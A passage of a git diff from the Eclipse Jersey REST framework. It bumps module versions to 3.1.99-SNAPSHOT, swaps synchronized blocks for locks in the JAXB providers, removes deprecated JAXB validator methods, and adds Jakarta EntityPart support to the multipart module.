+ jaxbContextsLock.unlock();
}
+
}
/**
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java
index e7e399d..7065c43 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbStringReaderProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,6 +20,8 @@
import java.lang.reflect.Type;
import java.util.Map;
import java.util.WeakHashMap;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
import jakarta.ws.rs.ProcessingException;
import jakarta.ws.rs.core.Context;
@@ -54,6 +56,7 @@
public class JaxbStringReaderProvider {
private static final Map<Class, JAXBContext> jaxbContexts = new WeakHashMap<Class, JAXBContext>();
+ private static final Lock jaxbContextsLock = new ReentrantLock();
private final Value<ContextResolver<JAXBContext>> mtContext;
private final Value<ContextResolver<Unmarshaller>> mtUnmarshaller;
@@ -116,13 +119,16 @@
* @throws JAXBException in case JAXB context retrieval fails.
*/
protected JAXBContext getStoredJAXBContext(Class type) throws JAXBException {
- synchronized (jaxbContexts) {
+ jaxbContextsLock.lock();
+ try {
JAXBContext c = jaxbContexts.get(type);
if (c == null) {
c = JAXBContext.newInstance(type);
jaxbContexts.put(type, c);
}
return c;
+ } finally {
+ jaxbContextsLock.unlock();
}
}
diff --git a/media/json-binding/pom.xml b/media/json-binding/pom.xml
index 53de4a8..7bc5769 100644
--- a/media/json-binding/pom.xml
+++ b/media/json-binding/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-media-json-binding</artifactId>
diff --git a/media/json-gson/pom.xml b/media/json-gson/pom.xml
index cf0d7e6..e856c38 100644
--- a/media/json-gson/pom.xml
+++ b/media/json-gson/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-media-json-gson</artifactId>
diff --git a/media/json-jackson/pom.xml b/media/json-jackson/pom.xml
index cb27c7f..3c72532 100644
--- a/media/json-jackson/pom.xml
+++ b/media/json-jackson/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-media-json-jackson</artifactId>
diff --git a/media/json-jettison/pom.xml b/media/json-jettison/pom.xml
index 30e074b..2c47470 100644
--- a/media/json-jettison/pom.xml
+++ b/media/json-jettison/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-media-json-jettison</artifactId>
@@ -53,7 +53,14 @@
<extensions>true</extensions>
<configuration>
<instructions>
+ <!-- Explicitly set versions for packages from GlassFish to allow future uptake of GlassFish 7.x-->
+ <Import-Package>
+ jakarta.xml.bind.*;version="[3.0,5)",
+ *
+ </Import-Package>
+
<Export-Package>org.glassfish.jersey.jettison.*</Export-Package>
+
<!--<Import-Package>
com.sun.xml.bind.annotation;resolution:=optional,com.sun.xml.bind.v2.*;resolution:=optional, *
</Import-Package>-->
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java
index f76ab53..6d6b039 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/JettisonJaxbContext.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,6 @@
import jakarta.xml.bind.JAXBException;
import jakarta.xml.bind.Marshaller;
import jakarta.xml.bind.Unmarshaller;
-import jakarta.xml.bind.Validator;
import org.glassfish.jersey.jettison.internal.BaseJsonMarshaller;
import org.glassfish.jersey.jettison.internal.BaseJsonUnmarshaller;
@@ -300,15 +299,4 @@
public Marshaller createMarshaller() throws JAXBException {
return new JettisonJaxbMarshaller(jaxbContext, getJSONConfiguration());
}
-
- /**
- * Simply delegates to underlying JAXBContext implementation.
- *
- * @return what underlying JAXBContext returns
- * @throws jakarta.xml.bind.JAXBException
- */
- @Override
- public Validator createValidator() throws JAXBException {
- return jaxbContext.createValidator();
- }
}
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java
index cd78fc9..4603572 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbMarshaller.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -128,17 +128,17 @@
}
@Override
- public void setAdapter(XmlAdapter adapter) {
+ public <A extends XmlAdapter<?, ?>> void setAdapter(A adapter) {
jaxbMarshaller.setAdapter(adapter);
}
@Override
- public <A extends XmlAdapter> void setAdapter(Class<A> type, A adapter) {
+ public <A extends XmlAdapter<?, ?>> void setAdapter(Class<A> type, A adapter) {
jaxbMarshaller.setAdapter(type, adapter);
}
@Override
- public <A extends XmlAdapter> A getAdapter(Class<A> type) {
+ public <A extends XmlAdapter<?, ?>> A getAdapter(Class<A> type) {
return jaxbMarshaller.getAdapter(type);
}
diff --git a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java
index 3d24d50..377e37a 100644
--- a/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java
+++ b/media/json-jettison/src/main/java/org/glassfish/jersey/jettison/internal/JettisonJaxbUnmarshaller.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -123,16 +123,6 @@
}
@Override
- public void setValidating(boolean validating) throws JAXBException {
- this.jaxbUnmarshaller.setValidating(validating);
- }
-
- @Override
- public boolean isValidating() throws JAXBException {
- return this.jaxbUnmarshaller.isValidating();
- }
-
- @Override
public void setEventHandler(ValidationEventHandler validationEventHandler) throws JAXBException {
this.jaxbUnmarshaller.setEventHandler(validationEventHandler);
}
@@ -163,17 +153,17 @@
}
@Override
- public void setAdapter(XmlAdapter xmlAdapter) {
+ public <A extends XmlAdapter<?, ?>> void setAdapter(A xmlAdapter) {
this.jaxbUnmarshaller.setAdapter(xmlAdapter);
}
@Override
- public <A extends XmlAdapter> void setAdapter(Class<A> type, A adapter) {
+ public <A extends XmlAdapter<?, ?>> void setAdapter(Class<A> type, A adapter) {
this.jaxbUnmarshaller.setAdapter(type, adapter);
}
@Override
- public <A extends XmlAdapter> A getAdapter(Class<A> type) {
+ public <A extends XmlAdapter<?, ?>> A getAdapter(Class<A> type) {
return this.jaxbUnmarshaller.getAdapter(type);
}
diff --git a/media/json-processing/pom.xml b/media/json-processing/pom.xml
index aa851ad..f5dd4d8 100644
--- a/media/json-processing/pom.xml
+++ b/media/json-processing/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-media-json-processing</artifactId>
diff --git a/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java b/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java
index aa3e96c..f25f8b6 100644
--- a/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java
+++ b/media/json-processing/src/main/java/org/glassfish/jersey/jsonp/JsonProcessingFeature.java
@@ -25,6 +25,7 @@
import org.glassfish.jersey.CommonProperties;
+
/**
* {@link Feature} used to register JSON-P providers.
*
diff --git a/media/moxy/pom.xml b/media/moxy/pom.xml
index 335f80e..03ff1d3 100644
--- a/media/moxy/pom.xml
+++ b/media/moxy/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-media-moxy</artifactId>
@@ -104,6 +104,11 @@
<groupId>org.eclipse.parsson</groupId>
<artifactId>parsson</artifactId>
</dependency>
+ <dependency>
+ <groupId>org.ow2.asm</groupId>
+ <artifactId>asm</artifactId>
+ <version>${asm.version}</version>
+ </dependency>
<dependency>
<groupId>org.eclipse.persistence</groupId>
@@ -113,6 +118,10 @@
<groupId>jakarta.json.bind</groupId>
<artifactId>jakarta.json.bind-api</artifactId>
</exclusion>
+ <exclusion>
+ <groupId>org.eclipse.angus</groupId>
+ <artifactId>angus-activation</artifactId>
+ </exclusion>
</exclusions>
</dependency>
diff --git a/media/multipart/pom.xml b/media/multipart/pom.xml
index ffda4d0..a54c329 100644
--- a/media/multipart/pom.xml
+++ b/media/multipart/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.media</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-media-multipart</artifactId>
@@ -104,13 +104,14 @@
<profile>
<id>JettyExclude</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
+ <inherited>true</inherited>
<configuration>
<testExcludes>
<testExclude>org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java</testExclude>
@@ -123,7 +124,7 @@
<profile>
<id>Jetty11</id>
<activation>
- <jdk>[11,)</jdk>
+ <jdk>[17,)</jdk>
</activation>
<dependencies>
<dependency>
@@ -135,5 +136,4 @@
</dependencies>
</profile>
</profiles>
-
</project>
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java
index 0e20e25..7287759 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/BodyPart.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,9 +18,11 @@
import java.io.IOException;
import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
import java.text.ParseException;
import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.GenericType;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.MultivaluedMap;
import jakarta.ws.rs.ext.MessageBodyReader;
@@ -263,21 +265,42 @@
* entity instance is not the unconverted content of the body part entity.
*/
public <T> T getEntityAs(final Class<T> clazz) {
+ return getEntityAs(clazz, clazz);
+ }
+
+ /**
+ * Returns the entity after appropriate conversion to the requested type. This is useful only when the containing
+ * {@link MultiPart} instance has been received, which causes the {@code providers} property to have been set.
+ *
+ * @param genericEntity desired entity type into which the entity should be converted.
+ * @return entity after appropriate conversion to the requested type.
+ *
+ * @throws ProcessingException if an IO error arises during reading an entity.
+ * @throws IllegalArgumentException if no {@link MessageBodyReader} can be found to perform the requested conversion.
+ * @throws IllegalStateException if this method is called when the {@code providers} property has not been set or when the
+ * entity instance is not the unconverted content of the body part entity.
+ */
+ <T> T getEntityAs(final GenericType<T> genericEntity) {
+ return (T) getEntityAs(genericEntity.getRawType(), genericEntity.getType());
+ }
+
+ <T> T getEntityAs(final Class<T> type, Type genericType) {
if (entity == null || !(entity instanceof BodyPartEntity)) {
throw new IllegalStateException(LocalizationMessages.ENTITY_HAS_WRONG_TYPE());
}
- if (clazz == BodyPartEntity.class) {
- return clazz.cast(entity);
+ if (type == BodyPartEntity.class) {
+ return type.cast(entity);
}
final Annotation[] annotations = new Annotation[0];
- final MessageBodyReader<T> reader = messageBodyWorkers.getMessageBodyReader(clazz, clazz, annotations, mediaType);
+ final MessageBodyReader<T> reader = messageBodyWorkers.getMessageBodyReader(type, genericType, annotations, mediaType);
if (reader == null) {
- throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBR(clazz, mediaType));
+ throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBR(type, mediaType));
}
try {
- return reader.readFrom(clazz, clazz, annotations, mediaType, headers, ((BodyPartEntity) entity).getInputStream());
+ return reader.readFrom(type, genericType, annotations, mediaType, headers,
+ ((BodyPartEntity) entity).getInputStream());
} catch (final IOException ioe) {
throw new ProcessingException(LocalizationMessages.ERROR_READING_ENTITY(String.class), ioe);
}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java
index 6d77453..f6c7165 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/ContentDisposition.java
@@ -202,7 +202,9 @@
protected void addDateParameter(final StringBuilder sb, final String name, final Date p) {
if (p != null) {
- sb.append("; ").append(name).append("=\"").append(HttpDateFormat.getPreferredDateFormat().format(p)).append("\"");
+ sb.append("; ").append(name).append("=\"")
+ .append(HttpDateFormat.getPreferredDateFormatter().format(p))
+ .append("\"");
}
}
@@ -302,7 +304,7 @@
if (value == null) {
return null;
}
- return HttpDateFormat.getPreferredDateFormat().parse(value);
+ return HttpDateFormat.getPreferredDateFormatter().toDate(value);
}
private long createLong(final String name) throws ParseException {
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java
index 2380c44..802cc02 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/FormDataBodyPart.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,9 +16,14 @@
package org.glassfish.jersey.media.multipart;
+import java.io.InputStream;
import java.text.ParseException;
+import java.util.Optional;
+import java.util.concurrent.atomic.AtomicBoolean;
import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.GenericType;
import jakarta.ws.rs.core.MediaType;
import org.glassfish.jersey.media.multipart.internal.LocalizationMessages;
@@ -59,9 +64,10 @@
* @author Paul Sandoz
* @author Michal Gajdos
*/
-public class FormDataBodyPart extends BodyPart {
+public class FormDataBodyPart extends BodyPart implements EntityPart {
private final boolean fileNameFix;
+ protected final AtomicBoolean contentRead = new AtomicBoolean(false);
/**
* Instantiates an unnamed new {@link FormDataBodyPart} with a
@@ -231,6 +237,34 @@
return formDataContentDisposition.getName();
}
+ @Override
+ public Optional<String> getFileName() {
+ return Optional.ofNullable(getFormDataContentDisposition().getFileName());
+ }
+
+ @Override
+ public InputStream getContent() {
+ return getContent(InputStream.class);
+ }
+
+ @Override
+ public <T> T getContent(Class<T> type) {
+ if (contentRead.compareAndExchange(false, true)) {
+ throw new IllegalStateException(LocalizationMessages.CONTENT_HAS_BEEN_ALREADY_READ());
+ }
+ final Object entity = getEntity();
+ return type.isInstance(entity) ? type.cast(entity) : getEntityAs(type);
+ }
+
+ @Override
+ public <T> T getContent(GenericType<T> type) {
+ if (contentRead.compareAndExchange(false, true)) {
+ throw new IllegalStateException(LocalizationMessages.CONTENT_HAS_BEEN_ALREADY_READ());
+ }
+ final Object entity = getEntity();
+ return type.getRawType().isInstance(entity) ? (T) entity : getEntityAs(type);
+ }
+
/**
* Sets the control name.
*
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/JerseyEntityPartBuilderProvider.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/JerseyEntityPartBuilderProvider.java
new file mode 100644
index 0000000..307eb97
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/JerseyEntityPartBuilderProvider.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart;
+
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.GenericEntity;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedHashMap;
+import jakarta.ws.rs.core.MultivaluedMap;
+import org.glassfish.jersey.innate.spi.EntityPartBuilderProvider;
+import org.glassfish.jersey.media.multipart.file.FileDataBodyPart;
+import org.glassfish.jersey.media.multipart.file.StreamDataBodyPart;
+import org.glassfish.jersey.media.multipart.internal.LocalizationMessages;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Jersey implementation of {@link EntityPart.Builder}.
+ * @since 3.1.0
+ */
+public class JerseyEntityPartBuilderProvider implements EntityPartBuilderProvider {
+
+ @Override
+ public EntityPart.Builder withName(String partName) {
+ return new EnityPartBuilder().withName(partName);
+ }
+
+ private static class EnityPartBuilder implements EntityPart.Builder {
+
+ private String partName;
+ private String fileName = null;
+ private MultivaluedMap<String, String> headers = new MultivaluedHashMap<>();
+ private MediaType mediaType = null;
+ private MethodData methodData;
+
+ private EntityPart.Builder withName(String partName) {
+ this.partName = partName;
+ return this;
+ }
+
+ @Override
+ public EntityPart.Builder mediaType(MediaType mediaType) throws IllegalArgumentException {
+ this.mediaType = mediaType;
+ return this;
+ }
+
+ @Override
+ public EntityPart.Builder mediaType(String mediaTypeString) throws IllegalArgumentException {
+ this.mediaType = MediaType.valueOf(mediaTypeString);
+ return this;
+ }
+
+ @Override
+ public EntityPart.Builder header(String headerName, String... headerValues) throws IllegalArgumentException {
+ this.headers.addAll(headerName, headerValues);
+ return this;
+ }
+
+ @Override
+ public EntityPart.Builder headers(MultivaluedMap<String, String> newHeaders) throws IllegalArgumentException {
+ for (Map.Entry<String, List<String>> entry : newHeaders.entrySet()) {
+ header(entry.getKey(), entry.getValue().toArray(new String[0]));
+ }
+ return this;
+ }
+
+ @Override
+ public EntityPart.Builder fileName(String fileName) throws IllegalArgumentException {
+ this.fileName = fileName;
+ return this;
+ }
+
+ @Override
+ public EntityPart.Builder content(InputStream content) throws IllegalArgumentException {
+ methodData = new InputStreamMethodData(content);
+ return this;
+ }
+
+ @Override
+ public <T> EntityPart.Builder content(T content, Class<? extends T> type) throws IllegalArgumentException {
+ if (File.class.equals(type)) {
+ methodData = new FileMethodData((File) content);
+ } else if (InputStream.class.equals(type)) {
+ methodData = new InputStreamMethodData((InputStream) content);
+ } else {
+ methodData = new GenericData(content, null);
+ }
+ return this;
+ }
+
+ @Override
+ public <T> EntityPart.Builder content(T content, GenericType<T> type) throws IllegalArgumentException {
+ if (File.class.equals(type.getRawType())) {
+ methodData = new FileMethodData((File) content);
+ } else if (InputStream.class.equals(type.getRawType())) {
+ methodData = new InputStreamMethodData((InputStream) content);
+ } else {
+ methodData = new GenericData(content, type);
+ }
+ return this;
+ }
+
+ @Override
+ public EntityPart build() throws IllegalStateException, IOException, WebApplicationException {
+ if (methodData == null) {
+ throw new IllegalStateException(LocalizationMessages.ENTITY_CONTENT_NOT_SET());
+ }
+ final FormDataBodyPart bodyPart = methodData.build();
+ return bodyPart;
+ }
+
+
+ private abstract class MethodData<T> {
+ protected MethodData(T content) {
+ this.content = content;
+ }
+ protected final T content;
+ protected abstract FormDataBodyPart build();
+ protected void fillFormData(FormDataBodyPart bodyPart) {
+ FormDataContentDisposition contentDisposition =
+ FormDataContentDisposition.name(partName).fileName(fileName).build();
+ bodyPart.setContentDisposition(contentDisposition);
+ if (mediaType != null) {
+ bodyPart.setMediaType(mediaType);
+ }
+ for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
+ bodyPart.getHeaders().addAll(entry.getKey(), entry.getValue().toArray(new String[0]));
+ }
+ }
+ }
+
+ private class InputStreamMethodData extends MethodData<InputStream> {
+ protected InputStreamMethodData(InputStream content) {
+ super(content);
+ }
+
+ @Override
+ protected FormDataBodyPart build() {
+ final StreamDataBodyPart streamDataBodyPart = new StreamDataBodyPart();
+ streamDataBodyPart.setFilename(fileName);
+ fillFormData(streamDataBodyPart);
+ streamDataBodyPart.setStreamEntity(content, mediaType);
+ return streamDataBodyPart;
+ }
+ }
+
+ private class FileMethodData extends MethodData<File> {
+ protected FileMethodData(File content) {
+ super(content);
+ }
+
+ @Override
+ protected FormDataBodyPart build() {
+ final FileDataBodyPart fileDataBodyPart = new FileDataBodyPart();
+ fillFormData(fileDataBodyPart);
+ if (mediaType != null) {
+ fileDataBodyPart.setFileEntity(content, mediaType);
+ } else {
+ fileDataBodyPart.setFileEntity(content);
+ }
+ return fileDataBodyPart;
+ }
+ }
+
+ private class GenericData extends MethodData<Object> {
+ private final GenericType<?> genericEntity;
+
+ protected GenericData(Object content, GenericType<?> genericEntity) {
+ super(content);
+ this.genericEntity = genericEntity;
+ }
+
+ @Override
+ protected FormDataBodyPart build() {
+ final FormDataBodyPart formDataBodyPart = new FormDataBodyPart();
+ fillFormData(formDataBodyPart);
+ if (genericEntity != null && !GenericEntity.class.isInstance(content)) {
+ GenericEntity entity = new GenericEntity(content, genericEntity.getType());
+ formDataBodyPart.setEntity(entity);
+ } else {
+ formDataBodyPart.setEntity(content);
+ }
+
+ return formDataBodyPart;
+ }
+ }
+ }
+}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java
index 3224ec5..c49be99 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeature.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,10 +20,14 @@
import jakarta.ws.rs.core.Feature;
import jakarta.ws.rs.core.FeatureContext;
+import org.glassfish.jersey.media.multipart.internal.EntityPartReader;
+import org.glassfish.jersey.media.multipart.internal.EntityPartWriter;
import org.glassfish.jersey.media.multipart.internal.FormDataParamInjectionFeature;
import org.glassfish.jersey.media.multipart.internal.MultiPartReaderClientSide;
import org.glassfish.jersey.media.multipart.internal.MultiPartReaderServerSide;
import org.glassfish.jersey.media.multipart.internal.MultiPartWriter;
+import org.glassfish.jersey.media.multipart.internal.SingleEntityPartReader;
+import org.glassfish.jersey.media.multipart.internal.SingleEntityPartWriter;
/**
* Feature used to register Multipart providers.
@@ -45,6 +49,11 @@
context.register(MultiPartWriter.class);
+ context.register(EntityPartReader.class);
+ context.register(EntityPartWriter.class);
+ context.register(SingleEntityPartReader.class);
+ context.register(SingleEntityPartWriter.class);
+
return true;
}
}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeatureAutodiscoverable.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeatureAutodiscoverable.java
new file mode 100644
index 0000000..f9cfb9d
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/MultiPartFeatureAutodiscoverable.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart;
+
+import jakarta.ws.rs.core.FeatureContext;
+import org.glassfish.jersey.internal.spi.AutoDiscoverable;
+
+/**
+ * Automatic registration of {@link MultiPartFeature}.
+ * @since 3.1.0
+ */
+public class MultiPartFeatureAutodiscoverable implements AutoDiscoverable {
+ @Override
+ public void configure(FeatureContext context) {
+ context.register(MultiPartFeature.class);
+ }
+}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java
index f91c723..1493e8f 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/DefaultMediaTypePredictor.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -38,6 +38,7 @@
* Currently supported file extension and MIME Types are -
* <ul>
* <li>".xml" - application/xml</li>
+ * <li>".json - application/json</li>
* <li>".txt" - text/plain</li>
* <li>".pdf" - application/pdf</li>
* <li>".htm" - text/html</li>
@@ -59,6 +60,7 @@
public enum CommonMediaTypes {
XML(".xml", MediaType.APPLICATION_XML_TYPE),
+ JSON(".json", MediaType.APPLICATION_JSON_TYPE),
TXT(".txt", MediaType.TEXT_PLAIN_TYPE),
HTM(".htm", MediaType.TEXT_HTML_TYPE),
HTML(".html", MediaType.TEXT_HTML_TYPE),
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java
index 3ddedf2..707bedf 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/file/StreamDataBodyPart.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,6 +18,7 @@
import java.io.InputStream;
import java.text.MessageFormat;
+import java.util.Optional;
import jakarta.ws.rs.core.MediaType;
@@ -275,4 +276,8 @@
return filename;
}
+ @Override
+ public Optional<String> getFileName() {
+ return Optional.ofNullable(getFilename());
+ }
}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartReader.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartReader.java
new file mode 100644
index 0000000..fb83486
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartReader.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
